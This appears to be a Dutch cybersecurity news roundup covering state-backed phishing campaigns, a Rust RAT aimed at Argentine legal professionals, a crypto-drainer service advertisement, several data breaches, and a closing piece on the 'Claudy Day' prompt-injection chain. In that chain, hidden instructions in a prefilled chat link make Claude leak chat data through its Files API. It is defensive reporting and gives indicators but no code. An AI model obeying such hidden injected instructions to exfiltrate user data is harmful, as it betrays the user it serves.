De Iraanse nationaal-statelijke groep Boggy Serpens, ook bekend als MuddyWater, heeft zijn cyberespionage-activiteiten aanzienlijk opgeschaald. De groep voert gerichte campagnes uit tegen diplomatieke missies, energiebedrijven, maritieme operators en financiële instellingen. De groep, die wordt toegeschreven aan het Iraanse Ministerie van Inlichtingen en Veiligheid (MOIS), is actief sinds minstens 2017, maar de recente campagnes laten een duidelijke evolutie zien in zowel strategie als technische capaciteiten.

Boggy Serpens gaf lange tijd de voorkeur aan lawaaierige spear phishing-operaties die snelheid boven stealth prioriteerden. De groep maakte gebruik van 'living-off-the-land' tactieken, waarbij remote monitoring en management tools zoals Atera, ScreenConnect en SimpleHelp werden misbruikt, naast openbare hulpprogramma's zoals LaZagne en CrackMapExec. Deze vroege campagnes waren breed en niet geavanceerd, maar die operationele stijl heeft plaatsgemaakt voor een meer berekende aanpak.

Unit 42-analisten hebben een duidelijke verschuiving in het gedrag van de groep vastgesteld, waarbij Boggy Serpens is overgegaan op een model dat gericht is op lange termijn persistentie en het compromitteren van vertrouwde relaties. De groep bouwt nu aangepaste implants met behulp van Rust, een memory-safe language die reverse engineering bemoeilijkt, en heeft generatieve AI geïntegreerd in zijn ontwikkelingspipeline om sneller nieuwe malware families te produceren. Operaties begin 2025 onthulden ook coördinatie met Evasive Serpens, bekend als Lyceum, wat wijst op gedeelde resources binnen het Iraanse dreigingsecosysteem.

De campagne heeft een groot bereik. Boggy Serpens heeft organisaties getroffen in Israël, Hongarije, Turkije, Saoedi-Arabië, de VAE, Turkmenistan, Egypte en Zuid-Amerika, in de sectoren overheid, luchtvaart, maritiem en financiën. Een viergolfsaanval tegen een in de VAE gevestigd marine- en energiebedrijf dat is gelinkt aan Saudi Aramco, van augustus 2025 tot en met februari 2026, is het duidelijkste voorbeeld van de persistentie van de groep. In augustus 2025 maakte de groep ook gebruik van een gecompromitteerde mailbox bij het Omaanse Ministerie van Buitenlandse Zaken om vervalste diplomatieke uitnodigingen te versturen die zich voordeden als een "Sustainable Peace" seminar aan ambassades en internationale organisaties wereldwijd.

Wat deze campagnes bijzonder moeilijk te stoppen maakt, is een infectieketen die is gebouwd op een tweeledig misleidingsmodel dat tegelijkertijd gebruikmaakt van zowel geautomatiseerde filters als menselijk vertrouwen. De eerste fase is afhankelijk van gekaapte legitieme e-mailaccounts bij overheidsinstanties of bedrijven. Berichten die vanaf deze accounts worden verzonden, ontvangen een negatief spam confidence level (SCL -1) omdat ze afkomstig zijn van geauthenticeerde interne afzenders, waardoor ze spamfilters omzeilen. Deze tactiek werd gebruikt tegen een telecommunicatieprovider in Turkmenistan en Israëlische organisaties, waar de groep "Cybersecurity Guidelines" en HR-thema-bijlagen rechtstreeks vanuit de eigen e-mailomgeving van het slachtoffer verstuurde.

De tweede fase wordt geactiveerd wanneer een doelwit het bijgevoegde document opent, meestal een wazig Word-bestand, een vervalst financieel Excel-rapport of een nep-Air Arabia vliegticket. Het bestand geeft een bericht weer waarin wordt beweerd dat het is gemaakt in een oudere versie van Microsoft Office en vraagt de gebruiker om op "Enable Content" te klikken. Wanneer dat gebeurt, voert een VBA-macro stilletjes op de achtergrond uit, dropt een payload en maakt vervolgens de waas helder om een overtuigend, legitiem ogend document eronder te onthullen, waardoor de interactie voor het slachtoffer volkomen normaal aanvoelt. Forensische analyse onthulde twee parallelle VBA builder tracks die zijn gekoppeld aan een enkel ontwikkelingsteam: de Phoenix Lineage, die volledige backdoors levert, waaronder BugSleep en de nieuw geïdentificeerde Nuso HTTP backdoor, en de UDPGangster Operations, die een lichtere backdoor via UDP deployen. Beide delen een identieke decryptiesleutel en het thenovaservice.exefile pad, wat bevestigt dat ze afkomstig zijn van dezelfde pipeline.

Organisaties zouden strikte macro-uitvoeringspolicies moeten afdwingen in alle Microsoft Office-omgevingen en behavioral endpoint monitoring moeten implementeren die in staat is drop-and-execute activiteit te detecteren. Multi-factor authenticatie moet worden toegepast op alle e-mailaccounts om de blootstelling aan accountkaping te verminderen. E-mailcontroles die gedrags- en thematische anomalieën beoordelen, verder dan alleen de reputatie van de afzender, zijn cruciaal voor het vangen van interne phishing-campagnes. Regelmatige threat hunting naar UDP-gebaseerde beaconing, process injection events en niet-standaard registry key modificaties kan helpen actieve infecties te identificeren voordat persistent access volledig is vastgesteld.

Bron: Unit 42

Een nieuwe golf van gerichte aanvallen treft het Argentijnse rechtssysteem, waarbij gebruik wordt gemaakt van valse gerechtelijke documenten om juridische professionals te verleiden tot het installeren van de COVERT RAT malware. Deze campagne, genaamd Operation Covert Access, zet een in Rust gebouwde Remote Access Trojan (RAT) in via spear-phishing e-mails die sterk lijken op echte communicatie van de federale rechtbank. Na installatie geeft de malware aanvallers controle over de geïnfecteerde machine en de opgeslagen data.

De operatie richt zich op het Argentijnse juridische systeem, waaronder federale rechtbanken, advocaten, overheidsinstanties, academische instellingen en belangenorganisaties. Aanvallers gebruikten phishing e-mails met echte Argentijnse federale rechterlijke uitspraken over preventieve detentie, in de wetenschap dat juridische professionals de legitimiteit van dergelijke documenten niet in twijfel zouden trekken. Deze keuze maakt de campagne effectief, omdat het vertrouwen in het juridische proces wordt misbruikt.

Analisten van Point Wild identificeerden en onderzochten de operatie, voortbouwend op onderzoek van Seqrite. Hun analyse toonde een gedetailleerd overzicht van de PowerShell uitvoering, payload retrieval technieken en de methoden die aanvallers gebruikten om zich te vermommen. De analyse bevestigde dat dit geen simpele aanval is, maar een gelaagde poging om zo lang mogelijk onopgemerkt te blijven binnen institutionele netwerken.

COVERT RAT maakt verbinding met een command-and-control server op 181.231.253.69:4444, van waaruit aanvallers gecodeerde instructies kunnen geven, variërend van het stelen van bestanden tot het inzetten van ransomware. Het modulaire ontwerp ondersteunt het verzamelen van inloggegevens, privilege escalation, versleutelde bestandsbewerkingen en persistente her-toegang. Een ingebouwde cleanup functie wist alle sporen van de malware na gebruik, waardoor post-incident onderzoek bemoeilijkt wordt.

De aanval verloopt via een phishing e-mail met een ZIP-archief dat een Windows shortcut (LNK) bestand, een batch loader script en een PDF decoy bevat. Wanneer het slachtoffer de shortcut opent, wordt het script op de achtergrond uitgevoerd, terwijl de PDF normaal wordt geopend. De uiteindelijke payload verbergt zichzelf als msedge_proxy.exe in de user data folder van Microsoft Edge.

Wanneer de shortcut file, genaamd juicio-grunt-posting.pdf.lnk, wordt geopend, activeert het PowerShell met verborgen modus. Dit triggert de batch loader, health-check.bat, die de RAT payload downloadt van een GitHub repository. Na het downloaden wordt de payload uitgevoerd via PowerShell's Start-Process commando en opgeslagen als msedge_proxy.exe.

De malware voert vervolgens controles uit: het systeem wordt gescand op Wireshark, OllyDbg, x64dbg, VMware, VirtualBox en Hyper-V. Ook wordt de Process Environment Block (PEB) geïnspecteerd op debuggers en wordt timing behavior gemeten met QueryPerformanceFrequency om geëmuleerde omgevingen te detecteren. Pas als alle checks zijn geslaagd, maakt de RAT verbinding met de C2 server.

Het wordt aangeraden om antivirussoftware up-to-date te houden, geen e-mailbijlagen van ongeverifieerde afzenders te openen en verdachte links te vermijden. Controleer regelmatig de actieve processen in Task Manager en onderzoek onbekende entries zoals msedge_proxy.exe. Installeer geen illegale software, omdat deze vaak als infectievectoren dienen.

Bron: Point Wild

Het Microsoft Detection and Response Team (DART) heeft een geavanceerde voice phishing (vishing) campagne beschreven die in november 2025 succesvol een bedrijfsomgeving heeft gecompromitteerd. In tegenstelling tot conventionele inbraken die afhankelijk zijn van software-exploits, maakte deze aanval gebruik van vertrouwen, samenwerkingsplatforms en ingebouwde Windows tools om initiële toegang te verkrijgen.

De dreigingsactor startte de campagne door zich voor te doen als IT-supportmedewerker via Microsoft Teams voice calls, een techniek die steeds populairder wordt vanwege de legitimiteit en lage technische drempel. Na twee mislukte social engineering pogingen tegen verschillende medewerkers, slaagde de aanvaller bij de derde poging. Hierbij werd een gebruiker overtuigd om toegang op afstand te verlenen via Quick Assist, Microsofts ingebouwde tool voor hulp op afstand. Deze volharding in het targeten van meerdere personen voordat er succes was, weerspiegelt een berekende, door mensen bediende aanpak. De aanvaller maakte gebruik van het inherente vertrouwen dat werknemers hebben in interne IT-communicatie, waardoor een vals gevoel van urgentie ontstond dat de voorzichtigheid van het doelwit omzeilde.

Nadat de toegang op afstand via Quick Assist was verkregen, schakelde de dreigingsactor over van social engineering naar hands-on keyboard activiteit. De gecompromitteerde gebruiker werd doorverwezen naar een door de dreigingsactor gecontroleerde website die een vervalst credential-harvesting formulier hostte. Browsergeschiedenis en Quick Assist sessie-artefacten bevestigden dat bedrijfscredentials in dit valse portaal werden ingevoerd, wat een meerfasige payload delivery chain in gang zette.

De initiële payload was een vermomd Microsoft Installer (MSI) pakket dat een kwaadaardige Dynamic Link Library (DLL) sideloadde met behulp van vertrouwde Windows mechanismen. Dit is een klassieke living-off-the-land techniek die kwaadaardige code-uitvoering mogelijk maakt onder het mom van legitieme softwareprocessen. Dit vestigde outbound command-and-control (C2) connectiviteit.

Latere payloads breidden de positie van de aanvaller aanzienlijk uit:

* Encrypted loaders om detectie te ontwijken en secundaire stadia te leveren

* Remote command execution via standaard administratieve tooling om te mengen met normaal enterprise verkeer

* Proxy-based connectiviteit om de infrastructuur en oorsprong van de dreigingsactor te verbergen

* Session hijacking mogelijkheden die aanhoudende, identity-level controle over de omgeving mogelijk maken

De aanval was opzettelijk ontworpen om legitieme enterprise activiteit na te bootsen, waardoor de kans op het activeren van security alerts tijdens het inbraakvenster werd geminimaliseerd. Na melding van de klant bevestigde Microsoft DART onmiddellijk dat de compromis afkomstig was van de Teams vishing interactie en prioriteerde het voorkomen van identiteits- of directory-level escalatie.

Onderzoek wees uit dat de inbraak van korte duur was en beperkt in omvang. Het team voerde gerichte uitzettingsprocedures uit, paste tactische containment controls toe om laterale beweging te beperken en valideerde de afwezigheid van persistence mechanismen voordat het incident als opgelost werd verklaard.

DART heeft verschillende bruikbare aanbevelingen gedaan voor organisaties om de blootstelling aan soortgelijke identity-first aanvallen te verminderen:

* Beperk inkomende Teams communicatie van onbeheerde of niet-geverifieerde externe accounts en implementeer een allowlist van vertrouwde externe domeinen

* Audit en inventariseer remote monitoring and management (RMM) tools en schakel utilities zoals Quick Assist uit waar dit operationeel niet vereist is

* Voer vishing awareness training uit die specifiek ingaat op IT-imitatie scenario's binnen samenwerkingsplatforms

* Schakel conditional access policies en session-based anomaly detection in om ongebruikelijke remote access activiteit te signaleren

Dit incident onderstreept een kritische verschuiving in de methodologie van dreigingsactoren: het exploiteren van menselijk vertrouwen in plaats van softwarefouten. Nu samenwerkingsplatforms primaire aanvalsoppervlakken worden, moeten verdedigers de detectiemogelijkheden verder ontwikkelen dan endpoint telemetrie om identiteitsgedrag, communicatiepatronen en misbruik van tools te omvatten.

Bron: Microsoft

Het crypto e-commerce platform Bitrefill heeft Noord-Korea beschuldigd van een cyberaanval op 1 maart. Volgens een verklaring van Bitrefill heeft de aanval, die wordt toegeschreven aan de groep Lazarus, geleid tot de toegang tot ongeveer 18.500 aankooprecords. Deze records bevatten e-mailadressen, crypto betaaladressen en metadata, waaronder IP-adressen.

Bitrefill stelt gebruikers in staat om met cryptocurrency digitale cadeaubonnen te kopen of online rekeningen te betalen. Het bedrijf heeft partnerschappen met onder meer Amazon, Doordash, Apple, Uber en Walmart. Op 1 maart meldde het bedrijf al problemen en moest het uiteindelijk systemen offline halen toen bleek dat er sprake was van een beveiligingsinbreuk. Op 5 maart waren de website en app weer hersteld, waarbij het bedrijf al liet doorschemeren dat Noord-Korea verantwoordelijk was voor de aanval.

Het onderzoek, waarbij wetshandhavers en cybersecurity-experts betrokken waren, wees uit dat de aanval te wijten is aan hackers die verbonden zijn aan de Lazarus Group. De eerste toegang vond plaats via een gecompromitteerde laptop van een medewerker, waarbij een oud wachtwoord werd buitgemaakt. Dit wachtwoord gaf toegang tot een snapshot met productiegeheimen, waardoor de aanvallers hun toegang tot de bredere infrastructuur konden uitbreiden, inclusief delen van de database en bepaalde cryptocurrency wallets.

De inbreuk werd ontdekt door verdachte aankooppatronen bij bepaalde leveranciers, wat aangaf dat de voorraad cadeaubonnen en toevoerlijnen werden misbruikt. Sommige cryptocurrency wallets van het bedrijf werden leeggehaald en de fondsen werden overgemaakt naar wallets die onder controle stonden van de hackers. Het bedrijf heeft niet bekendgemaakt hoeveel er is gestolen en of die fondsen zijn teruggevorderd. Bitrefill is van plan de verliezen te absorberen via het operationele kapitaal.

Bitrefill beweert dat de hackers niet uit waren op de volledige klanten database, maar slechts een beperkt aantal queries uitvoerden om te begrijpen wat er te stelen viel, waaronder cryptocurrency en Bitrefill cadeaubon inventaris.

Het Amerikaanse ministerie van Justitie zei in november dat het meer dan 15 miljoen dollar in beslag had genomen die door Lazarus was gestolen tijdens vier afzonderlijke incidenten in 2023. De Lazarus Group is vermoedelijk georganiseerd binnen het Noord-Koreaanse Reconnaissance General Bureau en heeft de afgelopen negen jaar voor miljarden aan cryptocurrency gestolen. Blockchain monitoringbedrijf Chainalysis meldde dat aan Noord-Korea gelieerde hacking groepen in 2024 voor 1,3 miljard dollar aan cryptocurrency hebben buitgemaakt bij 47 incidenten. Vorig jaar werd er meer dan 2 miljard dollar gestolen door Noord-Koreaanse hackers, waarvan het grootste deel afkomstig was van de diefstal van 1,5 miljard dollar van het in Dubai gevestigde platform Bybit in februari. Zuid-Koreaanse functionarissen beschuldigden Noord-Korea er ook van 30 miljoen dollar aan cryptocurrency te hebben gestolen van het crypto platform Upbit.

Sinds Chainalysis in 2022 begon met het bijhouden van de cijfers, heeft Noord-Korea voor 6,8 miljard dollar aan crypto gestolen. De Verenigde Naties meldde in 2024 dat het tientallen incidenten over een periode van vijf jaar volgt die Noord-Korea ongeveer 3 miljard dollar hebben opgeleverd.

Bron: Bitrefill | Bron 2: recordedfuture.com

De Interlock ransomwaregroep exploiteert sinds eind januari een kritieke remote code execution (RCE) kwetsbaarheid (CVE-2026-20131) in Cisco's Secure Firewall Management Center (FMC) software. Dit lek stelt aanvallers in staat om op afstand willekeurige Java-code uit te voeren als root op ongepatchte apparaten.

De Interlock ransomwareoperatie, die in september 2024 opdook, is gelinkt aan ClickFix en aanvallen met malware waarbij een remote access trojan genaamd NodeSnake werd ingezet op de netwerken van meerdere Britse universiteiten. Interlock heeft ook de verantwoordelijkheid opgeëist voor aanvallen op DaVita, Kettering Health, het Texas Tech University System en de stad Saint Paul, Minnesota. IBM X-Force onderzoekers meldden recentelijk dat Interlock operators een nieuwe malware variant genaamd Slopoly hebben ingezet, die waarschijnlijk is gemaakt met behulp van generatieve AI tools.

Cisco heeft de kwetsbaarheid op 4 maart gepatcht. Het Amazon threat intelligence team meldde dat Interlock de Secure FMC flaw al meer dan een maand voor de patch uitbuitte in aanvallen gericht op enterprise firewalls. Volgens CJ Moses, CISO van Amazon Integrated Security, begon Interlock al op 26 januari 2026 met het exploiteren van de kwetsbaarheid, 36 dagen voor de openbaarmaking ervan.

Cisco gaf aan dat het de samenwerking met Amazon waardeert en de security advisory heeft bijgewerkt met de meest recente informatie. Klanten worden dringend verzocht om zo snel mogelijk te upgraden en de security advisory te raadplegen voor meer details en begeleiding.

Cisco heeft sinds het begin van het jaar meerdere andere security kwetsbaarheden verholpen die in het wild als zero-days werden misbruikt. In januari werd een kritieke Cisco AsyncOS zero-day verholpen die sinds november werd misbruikt om secure email appliances te compromitteren, en een kritieke Unified Communications RCE die ook in zero-day aanvallen werd misbruikt. Vorige maand werd een andere kritieke flaw verholpen die werd misbruikt als een zero-day om Catalyst SD-WAN authenticatie te omzeilen, waardoor aanvallers controllers konden compromitteren en kwaadaardige rogue peers konden toevoegen aan de beoogde netwerken.

Bron: Cisco | Bron 2: aws.amazon.com | Bron 3: hubs.li

De cyberaanval op Marquis Software, een leverancier van software voor financiële instellingen, heeft de gegevens van 672.075 mensen blootgelegd. Dit blijkt uit meldingen aan toezichthouders. Marquis Software, dat software levert waarmee financiële instellingen met hun klanten kunnen communiceren, waarschuwde in november al dat minstens 74 banken, kredietverenigingen en financiële instellingen waren getroffen door een datalek dat in augustus plaatsvond.

In brieven aan de slachtoffers meldt het bedrijf dat het de inbreuk op 14 augustus ontdekte en de politie op de hoogte bracht, waarna cybersecurity-experts werden ingeschakeld. Uit het onderzoek bleek dat de hackers bestanden van de systemen van Marquis Software hadden gekopieerd. De gelekte informatie omvat namen, adressen, telefoonnummers, burgerservicenummers, belastingidentificatienummers, geboortedata en financiële rekeninginformatie. Marquis Software heeft eerder al meldingen gedaan bij toezichthouders in Maine, South Carolina, Washington en Iowa, maar maakte het totale aantal getroffen personen niet bekend.

Volgens een anonieme bron binnen een getroffen bedrijf levert Marquis Software customer relationship tools waarmee bankmedewerkers kunnen bijhouden welke soorten rekeningen een persoon heeft, zodat ze andere financiële producten kunnen aanbieden. Banken voeren doorgaans burgerservicenummers, rekeningnummers, huisadressen, rekeningsaldi en meer in op het Marquis Software-platform. Ze houden ook bij welke bankmedewerkers met een klant hebben gesproken, wat ze hebben besproken en wanneer mogelijke follow-ups zullen plaatsvinden. De bron merkte op dat de bank waarvoor ze werken weliswaar getroffen was door de Marquis Software-inbreuk en eigen meldingen van de inbreuk heeft verzonden, maar niet was opgenomen in de lijst van 74 getroffen financiële instellingen die vorig jaar werd vrijgegeven.

Door het aantal slachtoffers uit meerdere staatsregisters van datalekken te verzamelen, schatten verschillende advocatenkantoren en cybersecurity-onderzoekers dat het aantal slachtoffers waarschijnlijk tussen de 788.000 en 1,35 miljoen ligt. Meerdere banken hebben in hun eigen verklaringen benadrukt dat de hackers achter de aanval nooit hun eigen systemen hebben geschonden en alleen informatie hebben gestolen die "door Marquis Software werd bijgehouden". Cybersecuritybedrijf Comparitech verkreeg ook een inmiddels verwijderde brief van Community 1st Credit Union uit Iowa, waarin werd beweerd dat Marquis Software losgeld had betaald aan de groep achter de aanval. Het bedrijf reageerde niet op verzoeken om commentaar over betalingen of financiële instellingen die mogelijk zijn getroffen, maar niet tot de 74 genoemde behoorden. Geen enkele ransomware-groepering heeft de aanval publiekelijk opgeëist.

Bron: Marquis Software | Bron 2: maine.gov | Bron 3: consumer.sc.gov

Cybercrimeinfo heeft op het darkweb een overzicht van dreigingsinformatie ontdekt. Hierin wordt melding gemaakt van een hernieuwd gedeeltelijk lek van bedrijfsdocumenten van Knownsec, met details over spionage, offensieve cyber tools en wereldwijde targeting.

Daarnaast wordt melding gemaakt van een vermeend datalek bij Daryn Online, een groot Kazachs educatief platform, waarbij 4 miljoen gebruikersrecords zijn blootgesteld. Ook wordt een "Sector Drainer" geadverteerd als een Crypto Wallet Drainer-as-a-Service, met 0-Day Phantom Bypass, verborgen drain en autowithdraw mogelijkheden. Verder zou de BRELA overheidsdatabase van Tanzania gehackt zijn, waarbij 10,2 miljoen records, waaronder 8 miljoen individuele gegevens, zijn gelekt. De Metropolitan Police heeft een dark web drug marketplace met bijna 2 miljoen pond aan jaarlijkse omzet in beslag genomen.

Op X/Twitter meldt Dark Web Informer dat een dreigingsactor die beweert verbonden te zijn met "Team CyberCrime Indonesia" data van kledingexporteurs uit Bangladesh en India gratis heeft gelekt. Security researcher Ryan Moran heeft een write-up gepubliceerd over Session for Desktop, waarin een kritieke Electron misconfiguratie wordt beschreven die elke XSS of code injection bug escaleert tot een volledige remote account compromise. Een dreigingsactor veilt Shopify API toegang tot een Canadese e-commerce winkel die ongeveer 1.213 wekelijkse bestellingen verwerkt. Ook wordt melding gemaakt van de verkoop van Iraakse kiezersregister databases voor burgers van 18 jaar en ouder, en van gescrapte data van de Fédération Française de Rugby (Franse Rugby Federatie) uit de periode 2003 tot 2026.

Bron: Darkweb

Cybercrimeinfo heeft een dreigingsalert onderschept waarin melding wordt gemaakt van de inzet van drie malwarefamilies: GHOSTBLADE, GHOSTKNIFE en GHOSTSABER. Meer details over deze malwarefamilies zijn te vinden in een artikel van Google Threat Intelligence.

Bron: Google Threat Intelligence

Het Amerikaanse ministerie van Financiën heeft zes individuen en twee entiteiten gesanctioneerd die betrokken zijn bij een Noord-Koreaans IT-netwerk (Democratic People's Republic of Korea, DPRK). Dit netwerk is erop gericht Amerikaanse bedrijven te misleiden en illegale inkomsten te genereren voor het regime, om zo de programma's voor massavernietigingswapens (WMD) te financieren.

Het frauduleuze schema, ook bekend als Coral Sleet/Jasper Sleet, PurpleDelta en Wagemole, maakt gebruik van valse documentatie, gestolen identiteiten en verzonnen persona's om IT'ers te helpen hun ware afkomst te verbergen en banen te krijgen bij legitieme bedrijven in de VS en elders. Een onevenredig groot deel van de salarissen wordt vervolgens teruggesluisd naar Noord-Korea om de raketprogramma's van het land te faciliteren, in strijd met internationale sancties. In sommige gevallen wordt malware ingezet om bedrijfseigen en gevoelige informatie te stelen. Ook wordt er afgeperst door losgeld te eisen in ruil voor het niet openbaar maken van de gestolen data.

De gesanctioneerde individuen en entiteiten zijn onder meer Amnokgang Technology Development Company, een IT-bedrijf dat delegaties van overzeese IT-medewerkers beheert en andere illegale activiteiten uitvoert om militaire en commerciële technologie te verkrijgen en te verkopen via hun overzeese netwerken. Nguyen Quang Viet, de CEO van het Vietnamese bedrijf Quangvietdnbg International Services Company Limited, faciliteert valutaconversiediensten voor Noord-Koreanen. Naar schatting heeft het bedrijf tussen half 2023 en half 2025 ongeveer 2,5 miljoen dollar omgezet in cryptocurrency.

LevelBlue benadrukte dat het IT-netwerk Astrill VPN gebruikt om hun activiteiten uit te voeren vanuit landen als China, vanwege de mogelijkheid van de dienst om de Chinese Great Firewall te omzeilen. Het idee is om verkeer te tunnelen via Amerikaanse exit nodes, waardoor ze zich effectief kunnen voordoen als legitieme binnenlandse werknemers.

Een opvallend aspect van Jasper Sleet's werkwijze is het gebruik van kunstmatige intelligentie (AI) om identiteitsfabricage, social engineering en langdurige operationele persistentie tegen lage kosten mogelijk te maken. Een AI-applicatie genaamd Faceswap wordt gebruikt om de gezichten van Noord-Koreaanse IT-medewerkers in gestolen identiteitsdocumenten te plaatsen en om gepolijste headshots voor cv's te genereren.

Verder wordt aangenomen dat de externe IT-medewerkers gebruikmaken van agentic AI tools om valse bedrijfswebsites te creëren en om snel malwarecomponenten te genereren, verfijnen en opnieuw te implementeren, in sommige gevallen door large language models (LLM's) te jailbreaken.

Flare en IBM X-Force publiceerden een rapport waarin de tactieken en technieken van de IT-medewerkers werden onderzocht. Hieruit bleek dat de dreigingsactoren timesheets gebruiken voor het bijhouden van sollicitaties en de voortgang van het werk, IP Messenger (ook bekend als IPMsg) voor gedecentraliseerde interne communicatie, en Google Translate om vacatures te vertalen, sollicitaties op te stellen en zelfs antwoorden van tools zoals ChatGPT te interpreteren.

Bron: U.S. Department of the Treasury | Bron 2: microsoft.com | Bron 3: home.treasury.gov

Een dreigingsactor genaamd SectorD adverteert met een drainer-as-a-service (DaaS) platform genaamd Sector Drainer, dat wordt gepresenteerd als een full-stack oplossing voor het leegtrekken van crypto wallets. De dienst claimt 0-day exploits, het omzeilen van scam waarschuwingen en kant-en-klare phishing infrastructuur. Volgens de actor is de operatie sinds 2024 actief met honderden partners en een totale winst van meer dan $4 miljoen.

Sector Drainer claimt een 0-day exploit voor Phantom die Lighthouse en Safeguard protecties omzeilt om verborgen drains uit te voeren, zelfs vanaf assets van slechts $5-10. De service biedt verborgen drain functionaliteit voor alle wallets die zijn bijgewerkt tot 2025-2026, nep token ontvangst via honeypot technieken en unieke spoofing voor Trust Wallet, Phantom, MetaMask en Rabby.

De DaaS claimt scam waarschuwingen te omzeilen op Phantom, MetaMask, SEAL, Blockaid, Hashdit, Scam Sniffer en WalletGuard. Ook wordt beweerd dat in-app browsers op Telegram, X (Twitter) en Discord volledig worden omzeild.

Sector Drainer ondersteunt meer dan 150 wallets met deep link en QR code connectiemethoden en kan TRC20, BEP20, ETH, SOL tokens, NFT's, native gestakede assets en DeFi posities drainen. Gasloze transacties via fee sponsorship, automatische winstsplitsing en autowithdraw functionaliteit die wordt geactiveerd bij elke wallet top-up zonder vervaldatum zijn inbegrepen. De service claimt wallet scantijden van minder dan 0,4 seconden en transactiebevestiging van minder dan 0,8 seconden op zelf-gehoste infrastructuur zonder externe API afhankelijkheden.

De dienst biedt gratis domeinen, hosting, cloaking en DDoS protectie, evenals meer dan 70 vooraf gebouwde landingspagina's voor nep airdrops, mints, claims en soortgelijke lokmiddelen, plus een tool voor het genereren van landingspagina's, site kopieermogelijkheden en een geavanceerde landing API.

Het business model werkt op basis van revshare, beginnend bij 80/20 (partner behoudt 80%) en oplopend tot 90/10 na het bereiken van $5-10K aan gestolen fondsen. De minimum storting varieert, met voorbeelden van $1.000. De setup zou 10 minuten duren.

Het account van de actor op het forum is aangemaakt in maart 2026 en bevat slechts 1 post, 1 thread en 0 reputatie, wat gebruikelijk is voor nieuw geregistreerde accounts die DaaS platforms adverteren. De listing bevat een high-conversion wallet connect UI/UX claim van meer dan 95%, 24/7 support via Telegram en volledige documentatie. Geïnteresseerden worden verwezen naar Telegram of Session messaging.

De DaaS richt zich op Phantom Wallet, MetaMask, Trust Wallet, Rabby Wallet en 150+ andere wallets, evenals ETH/ERC-20, SOL/SPL, TRC-20/BEP-20 tokens, NFT's, native gestakede assets en DeFi posities. In-app browsers van Telegram, X (Twitter) en Discord worden ook geviseerd.

Bron: Darkweb

Cybercrimeinfo heeft ontdekt dat een dreigingsactor onder de naam Shinchan beweert een volledige gebruikersdatabase te verkopen van Daryn Online, een van de grootste online educatieplatforms in Kazachstan. Het platform, dat in 2019 werd gelanceerd en wordt ondersteund door Bugin Holding, biedt 28 verschillende educatieve diensten, waaronder schoolcurriculumondersteuning, nationale examenvoorbereiding (ENT/UBT), robotica-cursussen en kunstprogramma's, en bedient naar verluidt meer dan 3,5 miljoen actieve gebruikers in de regio.

De dataset, met een omvang van ruim 1 GB, bevat persoonlijke informatie zoals voor- en achternamen en geboortedata, contactgegevens zoals telefoonnummers en e-mailadressen, inloggegevens zoals wachtwoorden, remember tokens, e-mail hash tokens en mobiele tokens. Deze tokens zouden, indien nog geldig, directe accountovernames mogelijk maken, zelfs als wachtwoorden zijn gewijzigd. Ook avatar-URL's en bijbehorende profielgegevens zijn inbegrepen.

De acteur biedt de volledige dataset te koop aan en accepteert geen gedeeltelijke verkopen. Shinchan heeft screenshots en voorbeeldrecords verstrekt om de authenticiteit van de data aan te tonen en verwijst potentiële kopers naar Telegram of Session voor prijsinformatie.

De aanval maakt volgens de MITRE ATT&CK mapping gebruik van technieken zoals het exploiteren van publiek gerichte applicaties (T1190), het stelen van credentials uit password stores (T1555), het stelen van applicatie access tokens (T1528), het vergaren van data uit information repositories (T1213), het verzamelen van slachtofferidentiteiten (T1589.002) en exfiltratie via web services (T1567).

Gezien het platform voornamelijk door studenten wordt gebruikt, zijn veel van de getroffen personen waarschijnlijk minderjarig.

Bron: Darkweb

Cybersecurity-onderzoekers hebben een nieuwe methode ontdekt waarmee hackers de beveiligingssystemen van de AI-assistent Claude AI kunnen omzeilen. Deze ontdekking, genaamd "Claudy Day" door het team van Oasis Security, onthult hoe drie afzonderlijke kwetsbaarheden in de beveiliging van het platform kunnen worden gecombineerd om stilletjes de privégegevens van een gebruiker te stelen.

De eerste stap van de aanval betreft de manier waarop nieuwe chats worden gestart. Claude staat gebruikers toe om op een link te klikken die automatisch het chatvenster vult met een begroeting. Onderzoekers ontdekten dat ze geheime opdrachten in deze links konden verbergen met behulp van HTML-tags. Wanneer een gebruiker op zo'n gemanipuleerde link klikt, zien ze mogelijk slechts een simpel woord zoals "Samenvatten" in het tekstvak. De AI leest echter verborgen instructies in de code die de persoon niet kan zien, een techniek die bekend staat als promptinjectie. Dit misleidt de AI om de commando's van een hacker te volgen in plaats van die van de gebruiker. Dit kan van alles zijn, zoals de AI opdragen om oude chats te scannen op gevoelige details over iemands gezondheid of financiën. Volgens de onderzoekers kan een aanvaller op deze manier "verborgen instructies insluiten in een vooraf ingevulde chat-URL die de gebruiker niet kan zien, maar die de agent volledig verwerkt."

De hackers gebruikten een kwetsbaarheid op de claude.com website om Google Search-advertenties te maken die er officieel uitzien. Door gebruik te maken van een open redirect-kwetsbaarheid, maakten de aanvallers links die technisch gezien begonnen met het vertrouwde Claude webadres, waardoor Google de advertenties goedkeurde. Hierdoor ontstond een valstrik zonder phishing-e-mails of verdachte links, waardoor slachtoffers doelgericht konden worden benaderd. Het slachtoffer blijft argeloos omdat de URL van een gerenommeerd bedrijf is.

Het laatste onderdeel van de aanval is hoe de data wordt buitgemaakt. Hoewel Claude een digitale sandbox heeft, vonden onderzoekers een achterdeur in de officiële bètafunctie van het systeem, de Anthropic Files API. Hierdoor konden ze de AI dwingen om gestolen samenvattingen te uploaden naar een account dat door de aanvaller wordt beheerd. Dit systeem maakt het mogelijk om grote hoeveelheden data te verplaatsen, tot 500 MB per bestand en 100 GB per organisatie. De onderzoekers merkten op dat dit "een complete aanvalspijplijn creëert, van gerichte slachtofferaanlevering tot stille data-exfiltratie."

Oasis Security deelde deze bevindingen met Anthropic via een responsible disclosure-programma. Hoewel het promptinjectieprobleem nu is opgelost, adviseert het team gebruikers om zorgvuldig de goedkeuring te controleren voordat een AI-agent krachtige tools voor het eerst gebruikt, zodat ze de controle behouden.

Andrew Bolster, Senior R&D Manager bij Black Duck, merkte op dat deze bevindingen het idee ondersteunen dat assistenten zoals Claude een zegen zijn, maar ook een risico vormen dat de "Lethal Trifecta" wordt genoemd. Saumitra Das, Vice President of Engineering bij Qualys, verklaarde dat "de Claudy Day-aanvalsketen een nieuwe realiteit benadrukt: de prompt zelf is nu een aanvalsoppervlak."

Bron: Oasis Security

